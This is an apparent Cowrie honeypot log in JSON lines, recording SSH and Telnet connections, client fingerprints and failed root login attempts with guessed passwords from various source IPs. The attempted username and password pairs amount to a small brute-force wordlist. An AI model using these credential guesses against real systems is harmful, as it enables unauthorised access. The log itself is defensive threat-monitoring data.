{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:45.409909Z","src_ip":"162.241.129.208","session":"967a88f6278e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:45.437239Z","src_ip":"162.241.129.208","session":"967a88f6278e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bitfinex123","message":"login attempt [root/bitfinex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:45.522400Z","src_ip":"162.241.129.208","session":"967a88f6278e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:46.552684Z","src_ip":"162.241.129.208","session":"967a88f6278e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":75.6618058681488,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:48.762852Z","src_ip":"107.6.151.170","session":"9f5129869270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.89.133","src_port":42322,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1d1a2a3e02a","protocol":"ssh","message":"New connection: 166.62.89.133:42322 (159.203.135.109:22) [session: d1d1a2a3e02a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:54.557243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:54.577411Z","src_ip":"166.62.89.133","session":"d1d1a2a3e02a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:54.626316Z","src_ip":"166.62.89.133","session":"d1d1a2a3e02a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"brd","password":"brd123","message":"login attempt [brd/brd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:54.880430Z","src_ip":"166.62.89.133","session":"d1d1a2a3e02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:55.951027Z","src_ip":"166.62.89.133","session":"d1d1a2a3e02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46832,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6408207a96f","protocol":"telnet","message":"New connection: 170.64.224.25:46832 (159.203.135.109:23) [session: a6408207a96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:39:58.608566Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":39038,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1d2d814ecb9","protocol":"ssh","message":"New connection: 167.172.187.11:39038 (10.17.0.5:22) [session: b1d2d814ecb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:01.216747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:01.220961Z","src_ip":"167.172.187.11","session":"b1d2d814ecb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:01.301020Z","src_ip":"167.172.187.11","session":"b1d2d814ecb9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"plokijuh","message":"login attempt [root/plokijuh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:01.665529Z","src_ip":"167.172.187.11","session":"b1d2d814ecb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:02.749104Z","src_ip":"167.172.187.11","session":"b1d2d814ecb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60076,"dst_ip":"159.203.135.109","dst_port":23,"session":"4653559514ba","protocol":"telnet","message":"New connection: 170.64.224.25:60076 (159.203.135.109:23) [session: 4653559514ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:12.365332Z"}
{"eventid":"cowrie.session.closed","duration":1.6359708309173584,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:14.001159Z","src_ip":"170.64.224.25","session":"4653559514ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.506088256835938,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:19.114501Z","src_ip":"170.64.224.25","session":"a6408207a96f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48186,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aedc6f6175b","protocol":"ssh","message":"New connection: 51.250.105.222:48186 (10.17.0.5:22) [session: 0aedc6f6175b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:34.269768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:34.274171Z","src_ip":"51.250.105.222","session":"0aedc6f6175b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:34.397870Z","src_ip":"51.250.105.222","session":"0aedc6f6175b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:34.770881Z","src_ip":"51.250.105.222","session":"0aedc6f6175b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:35.897111Z","src_ip":"51.250.105.222","session":"0aedc6f6175b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.50151658058167,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:36.586584Z","src_ip":"170.64.224.25","session":"fc3970cedb2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.86.88.212","src_port":59238,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d295c51f08d","protocol":"ssh","message":"New connection: 167.86.88.212:59238 (159.203.135.109:22) [session: 7d295c51f08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:42.388314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:42.396455Z","src_ip":"167.86.88.212","session":"7d295c51f08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:42.489085Z","src_ip":"167.86.88.212","session":"7d295c51f08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":42362,"dst_ip":"159.203.135.109","dst_port":23,"session":"88f2e1acc70c","protocol":"telnet","message":"New connection: 107.6.151.170:42362 (159.203.135.109:23) [session: 88f2e1acc70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:42.661872Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rm123456","message":"login attempt [root/rm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:42.895052Z","src_ip":"167.86.88.212","session":"7d295c51f08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":39140,"dst_ip":"159.203.135.109","dst_port":23,"session":"e28854051a97","protocol":"telnet","message":"New connection: 107.6.151.170:39140 (159.203.135.109:23) [session: e28854051a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:43.646127Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:43.990830Z","src_ip":"167.86.88.212","session":"7d295c51f08d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.201.12","src_port":33404,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a251c56d5d2","protocol":"ssh","message":"New connection: 161.248.201.12:33404 (159.203.135.109:22) [session: 9a251c56d5d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:44.168000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:44.172544Z","src_ip":"161.248.201.12","session":"9a251c56d5d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:44.426905Z","src_ip":"161.248.201.12","session":"9a251c56d5d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZ123wsx!","message":"login attempt [root/QAZ123wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:45.479252Z","src_ip":"161.248.201.12","session":"9a251c56d5d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:46.736955Z","src_ip":"161.248.201.12","session":"9a251c56d5d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":51650,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c855ef52ea5","protocol":"ssh","message":"New connection: 173.236.247.120:51650 (10.17.0.5:22) [session: 0c855ef52ea5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:47.713880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:47.717712Z","src_ip":"173.236.247.120","session":"0c855ef52ea5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:47.726860Z","src_ip":"173.236.247.120","session":"0c855ef52ea5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1tm@rt#M@st3r!P@ss","message":"login attempt [root/B1tm@rt#M@st3r!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:47.757327Z","src_ip":"173.236.247.120","session":"0c855ef52ea5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:40:48.769132Z","src_ip":"173.236.247.120","session":"0c855ef52ea5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.1.118","src_port":42322,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9506233d2af","protocol":"ssh","message":"New connection: 223.17.1.118:42322 (159.203.135.109:22) [session: a9506233d2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:01.970927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:01.974940Z","src_ip":"223.17.1.118","session":"a9506233d2af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:41:02.186695Z","src_ip":"223.17.1.118","session":"a9506233d2af","protocol":"ssh"}
